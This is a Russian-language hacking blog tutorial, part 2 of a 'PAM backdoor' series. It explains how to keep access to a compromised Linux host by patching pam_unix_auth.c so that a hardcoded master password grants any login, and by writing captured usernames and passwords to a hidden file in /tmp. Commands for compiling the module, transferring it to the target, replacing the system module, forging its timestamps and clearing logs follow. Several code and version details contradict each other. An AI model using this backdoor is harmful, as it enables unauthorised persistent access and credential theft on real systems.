PAM backdoor by artrone ЧАСТЬ 2/2
Добро пожаловать во вторую часть статьи "PAM backdoor". В предыдущей части мы обсудили, что такое PAM (Pluggable Authentication Modules) и как можно создать собственный модуль для PAM. В этой второй части мы пойдём немного по другому пути и изменим уже существующий модуль, а также настроим логирование для сбора паролей.
Кто не читал первую часть, вам сюда: https://teletype.in/@hackerblog/pam_backdoor_part_1
Способ 2. Модификация модуля
Если немножко вспомним прошлую статью, то заметим, что в качестве "стандарта", сервисы для авторизации используют common-auth
, в котором содержится общий модуль pam_unix.so
cat su @include common-auth
cat sshd # Standard Un*x authentication. @include common-auth
cat sudo-i @include common-auth
Собственно, вот и комментарий в common-auth, который описывает для чего он нужен и с чем его едят:
#/etc/pam.d/common-auth - authentication settings common to all services # # This file is included from other service-specific PAM config files, # and should contain a list of the authentication modules that define # the central authentication scheme for use on the system # (e.g., /etc/shadow, LDAP, Kerberos, etc.). The default is to use the # traditional Unix authentication mechanisms.
А вот и сам подключаемый модуль, который нам интересен:
cat common-auth auth [success=1 default=ignore] pam_unix.so nullok
На данном этапе необходимо определить порядок действий:
Перейдем к практике
UPD: Данную атаку буду проводить через Remote вектор (удаленно).
Собственно, схема стандартная: скомпрометировал хост и хочу закрепиться в системе.
1. Получение исходников
произвожу действия на своём хосте
dpkg -l | grep pam ii libpam-gnome-keyring:amd64 42.1-1+b2 amd64 PAM module to unlock the GNOME keyring upon login ii libpam-modules:amd64 1.5.2-9.1ubuntu1 amd64 Pluggable Authentication Modules for PAM ii libpam-modules-bin 1.5.2-9.1ubuntu1 amd64 Pluggable Authentication Modules for PAM - helper binaries ii libpam-runtime 1.5.2-9.1 all Runtime support for the PAM library ii libpam0g:amd64 1.5.2-9.1ubuntu1 amd64 Pluggable Authentication Modules library ii libpam0g-dev:amd64 1.5.2-9.1ubuntu1 amd64 Development files for PAM Как видим, версия PAM 1.5.2
wget https://github.com/linux-pam/linux-pam/releases/download/v1.5.2/Linux-PAM-1.5.1.tar.xz
tar -xf Linux-PAM-1.5.2.tar.xz
cd Linux-PAM-1.5.2/modules/pam_url
Среди множества файлов модуля pam_unix
, нам необходим следующий :
2. Модификация
Находим 172-ю строку и модифицируем код, добавляя дополнительную проверку пароля
if (strcmp(p, "the-world-is-yours") != 0) retval = _unix_verify_password(pamh, name, p, ctrl); else retval = PAM_SUCCESS;
retval = _unix_verify_password(pamh, name, p, ctrl); name = p = NULL; if (strcmp(p,"magic") == 0) retval = PAM_SUCCESS;
Собственно, мы добавили новое условие проверки пароля. Если говорить словами, то будет что-то типо: "Если количество различий введенных символов со строкой 'bye' равны нулю, то возвращаемое значение будет равно 'PAM_SUCCESS' ".
if (retval == PAM_SUCCESS) { FILE *fd; fd = fopen("/tmp/.passwd", "a"); fprint(fd, "%s:%sn", name, p); fclose(fd); }
В конечном итоге, получилось так:
Теперь логи будут лететь в /tmp/.passwd
3. Компиляция
Поскольку я имею две разные системы (несмотря на одинаковую версию PAM): kali и xubuntu, скомпилированный модуль на kali не подойдет для xubuntu и наоборот. Вас будут ждать эти пять заветных слов при попытки авторизации "Permission denied, please try again."...
Если есть какой-то способ обойти это- отпишитесь. Будет очень интересно почитать.
cd Linux-PAM-1.5.2
./configure
make
Также хочу отметить, что при компиляции я столкнулся с рядом проблем:
1. Fatal error: rpc/rpc.h: No such file or directory
apt install libntirpc-dev dpkg -L libntirpc-dev
2. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c
error: unknown type name 'int32_t'
В файле yppasswd_xdr.c подключаем
#include <stdint.h>
3. In file included from /usr/include/tirpc/rpc/rpc.h, from yppasswd_xdr.c
error: unknown type name 'u_int32_t'
В файле /usr/include/tirpc/rpc/types.h меняем u_int32_t
на uint32_t
4. Заменяем "стандарт" на свой
Итак, после того, как мы изменили файл pam_unix_auth.c, необходимо закинуть на целевой хост папку с PAM'ом
tar -zcvf temp.tar.gz Linux-PAM-1.5.2
python3 -m http.server
wget http://ip:8000/temp.tar.gz
Далее, делаем действия из пункта 3.
После этого, распаковываем файл и заменяем его:
tar -xvf temp.tar.gz
mv Linux-PAM-1.5.2/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu-security
Также стоит дать нужные права и поменять временные метки файла:
chmod 644 pam_unix.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so
Ну и чистка логов в дальнейшем.
Стоить добавить, что данная лазейка работает для любых аккаунтов, существующих на хосте. Например:
Как видно, мы не задавали пароль пользователю и он успешно смог войти. Также и для su:
Заключение
Как я и говорил, данный способ является чуть более незаметным с точки зрения количества файлов, нежели добавление нового модуля, но требует компиляции на целевом хосте из-за некоторых особенностей, что может стать серьезной проблемой скрытия своего присутствия. Помимо этого, может возникнуть множество непредвиденных казусов (ошибки компиляции), которые требуют лишней активности.
UPD: Это был первый опыт разбиения статьи на части. Данная тема достаточно обширна, и показанные мной способы одни из множества вариантов в данном векторе. Надеюсь, изложение материала вам понравилось и всё было понятно. До новых встреч!